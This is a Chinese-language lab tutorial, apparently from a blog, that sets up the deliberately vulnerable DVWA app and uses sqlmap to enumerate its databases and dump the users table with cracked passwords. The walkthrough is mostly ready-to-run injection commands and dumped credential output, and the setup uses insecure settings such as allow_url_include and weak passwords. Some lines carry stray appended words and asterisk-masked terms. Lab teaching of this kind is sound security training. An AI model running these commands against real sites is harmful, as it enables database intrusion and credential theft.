安裝SQLmap: IP:a.b.c.dphp
***測試演練系統DVWA: IP:a.b.c.dhtml
經過SQLmap檢測SQL注入漏洞 :mysql
1.安裝SQLmap漏洞查看工具web
2.安裝***測試演練系統DVWAsql
3.使用SQLmap進行sql注入並得到後臺管理員adnim賬號和密碼數據庫
sql注入概述:apache
所謂SQL注入,就是經過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令vim
它是利用現有應用程序,能夠經過在Web表單中輸入(惡意)SQL語句獲得一個存在安全漏洞的網站上的數據庫瀏覽器
好比先前的不少影視網站泄露VIP會員密碼大多就是經過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式***安全
好比 :12306.cn 賬號和密碼泄露
什麼是SQLmap?
SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具,有一個很是棒的特性,即對檢測與利用的自動化處理(數據庫指紋、訪問底層文件系統、執行命令)
官方網站下載 : http://sqlmap.org/
安裝sqlmap
pip install sqlmap
測試
sqlmap --help
DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql編寫的一套用於常規WEB漏洞教學和檢測的WEB脆弱性測試程序。包含了SQL注入、XSS、盲注等常見的一些安全漏洞
官方網站:連接地址:http://www.dvwa.co.uk 網站是英國的 ,有時候訪問外國的網站可能會打不開
安裝測試演練系統DVWA
快速部署DVWA測試環境 , 搭建一個安全係數較低的網站
[root@dvwa ~]# yum install -y httpd mysql-server mysql php php-mysql php-gd
[root@dvwa ~]# systemctl start httpd
[root@dvwa ~]# systemctl start mariadb
php-gd庫:gd庫是php處理圖形的擴展庫,gd庫提供了一系列用來處理圖片的API,使用GD庫能夠處理圖片,或者生成圖片。 在網站上GD庫一般用來生成縮略圖或者用來對圖片加水印或者對網站數據生成報表及驗證碼
測試LAMP環境
[root@dvwa ~]# vim /var/www/html/info.php
<?php phpinfo(); ?>
[root@dvwa ~]# mysqladmin -u root password "123456"
[root@dvwa ~]# mysql -u root -p123456
#將下載的dvwa***系統代碼上傳到Linux上 ,並解壓到網頁根目錄下
[root@dvwa ~]# unzip DVWA-master.zip -d /var/www/html/
[root@dvwa ~]# ls /var/www/html/
1.php DVWA-master
[root@dvwa ~]# chown -R apache.apache /var/www/html/DVWA-master/
#編輯/dvwa/config/config.inc.php , 配置數據庫信息 ,user和password是MySQL的用戶名和密碼
#cp配置文件模板
[root@dvwa ~]# cp /var/www/html/DVWA-master/config/config.inc.php{.dist,}
[root@dvwa ~]# vim /var/www/html/DVWA-master/config/config.inc.php
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = '123456'; # 修改成mysql的root密碼
部署DVWA網站系統
在瀏覽器中輸入:http://ip/DVWA-master/setup.php
解決環境問題
[root@dvwa ~]# vim /etc/php.ini
allow_url_include = Off 把Off改成On
[root@dvwa ~]# systemctl restart httpd
後期登陸:
http://ip/DVWA-master/login.php
dvwa的登陸界面的默認用戶名和密碼爲admin和password
到這DVMA就部署完了
接下來就開始SQL注入了
SQLmap探測sql注入漏洞 :
1.枚舉登陸MYSQL數據的用戶名與密碼
2.枚舉全部數據庫
3.枚舉指定數據庫的數據表
4.枚舉指定數據表中的全部用戶名與密碼
語法:SQLmap命令選項被歸類爲目標(Target)選項、請求(Request)選項、優化、注入、檢測、技巧(Techniques)、指紋、枚舉等
使用SQLmap以前咱們獲得須要當前會話cookies等信息,用來在***過程當中維持鏈接狀態,這裏使用Firefox中名爲「TamperData」的插件獲取
Tamper Data是一個用於跟蹤和修改http/https請求和POST參數的擴展
爲方便演示,咱們將DVWA安全等級設置爲low
接下來該輪到SQLmap登場了
[root@sqlmap ~]# sqlmap -u "http://ip/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low' -b --current-db --current-user
使用選項:
一、--cookie : 設置咱們的cookie值「將DVWA安全等級從high設置爲low」
二、-u : 指定目標URL,syql注入點
三、-b : 獲取DBMS banner (DBMS:Database Management System 數據庫管理系統)
四、--current-db : 獲取當前數據庫
五、--current-user :獲取當前用戶
中間會遇到幾個選項,一路選擇y就能夠了
1.使用命令用來枚舉全部登陸msyql數據庫的用戶名和密碼hash值,後期能夠對密碼hash進行破解,生成明文密碼
2.枚舉系統中全部的數據庫名
3.枚舉dvwa數據表
4.獲取dvwa庫中users表的全部列名字
5.提取user表中的用戶名與密碼等信息。將用戶與密碼錶中的全部用戶名與密碼dump出來
cookie 和 sql注入點永遠不變
==================================步驟1============================================
[root@sqlmap ~]# sqlmap -u "http://ip/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low' --string="Surname" --users --password
使用選項:
一、--string : 當查詢可用時用來匹配頁面中的字符串
二、--users : 枚舉DBMS用戶
三、--password : 枚舉DBMS用戶密碼hash
==================================步驟2============================================
[root@sqlmap ~]# sqlmap -u "http://ip/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low' --dbs
使用選項:
--dbs: 枚舉DBMS中的全部數據庫
===================================步驟3============================================
[root@sqlmap ~]# sqlmap -u "http://ip/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low' -D dvwa --tables
使用選項:
一、-D : 要枚舉的DBMS數據庫
二、--tables : 枚舉DBMS數據庫中的數據表
===================================步驟4============================================
[root@sqlmap ~]# sqlmap -u "http://ip/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low' -D dvwa -T users --columns
使用選項:
-T : 要枚舉的DBMS數據庫表
--columns : 枚舉DBMS數據庫表中的全部列
===================================步驟5============================================
提取user表中的用戶名與密碼等信息。將用戶與密碼錶中的全部用戶名與密碼dump出來
[root@sqlmap ~]# sqlmap -u "http://ip/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low' -D dvwa -T users -C user,password --dump
使用選項:
-T : 要枚舉的DBMS數據表
-C: 要枚舉的DBMS數據表中的列
--dump : 轉儲DBMS數據表項
SQLmap會提問是否破解密碼,按回車確認
儘管咱們用的數據庫中密碼是通過md5加密的,可是sqlmap能夠導出sql數據,幫你解析成明文密碼
查看導出的數據 :
[root@sqlmap ~]# cat /root/.sqlmap/output/ip/dump/dvwa/users.csv
user,password
1337,8d3533d75ae2c3966d7e0d4fcc69216b (charley)
admin,5f4dcc3b5aa765d61d8327deb882cf99 (password)
gordonb,e99a18c428cb38d5f260853678922e03 (abc123)
pablo,0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)
smithy,5f4dcc3b5aa765d61d8327deb882cf99 (password)
到這咱們就利用SQLmap***到一個有漏洞的網站 , 並得到了後臺管理員admin的帳號和密碼
實例:
實驗 簡單的sql注入
連接:http://ctf5.shiyanbar.com/web/index_3.php
原文參考連接地址:
https://www.cnblogs.com/bigdevilking/p/9420498.html
https://blog.csdn.net/tututuo/article/details/80033868